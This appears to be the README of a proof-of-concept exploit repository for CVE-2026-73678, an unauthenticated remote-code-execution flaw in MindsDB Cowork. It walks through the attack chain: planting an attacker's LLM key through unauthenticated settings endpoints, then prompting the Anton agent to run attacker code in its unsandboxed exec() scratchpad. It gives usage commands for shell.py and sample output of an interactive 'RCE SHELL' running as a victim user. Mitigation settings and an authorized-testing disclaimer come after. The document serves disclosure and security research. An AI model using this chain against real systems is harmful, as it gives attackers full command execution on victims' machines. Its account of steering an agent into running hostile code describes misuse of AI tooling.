hunt-benito/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-coworkPoC exploit for CVE-2026-73678: unauthenticated RCE in MindsDB Cowork via attacker-supplied LLM key and unsandboxed scratchpad exec to run OS commands.
PoC for CVE-2026-73678 (CVSS 3.1 10.0 Critical, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Full write-up: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
The Cowork cowork-server FastAPI sidecar exposes /api/v1/ with no authentication
(CWE-306), CORS allow_origins=["*"] (CWE-942), and the Anton agent's scratchpad
tool executes LLM-generated Python via a raw exec() with no sandbox (CWE-94).
Chain: plant the attacker's own LLM key via PUT /api/v1/settings/* → POST /api/v1/responses/
with a prompt that makes the agent run attacker code on the scratchpad → arbitrary OS
command execution as the user running the app.
Adapted from the PoC in MindsDB's advisory GHSA-jcxw-h8ph-pxpv (credit: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
The generated snippet computes os.urandom(4).hex() inside the victim process
and writes it to /tmp/RCE_PROOF.txt. The prompt tells the model it cannot know the
nonce without executing. If the returned text contains a nonce matching the file on
disk, the code demonstrably ran — a hallucinating model cannot produce it.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
No patched release tag exists; fixes live only on the cowork-server/anton
main branches.
For authorized security testing and research only. Do not run against systems you do not own or have explicit permission to test.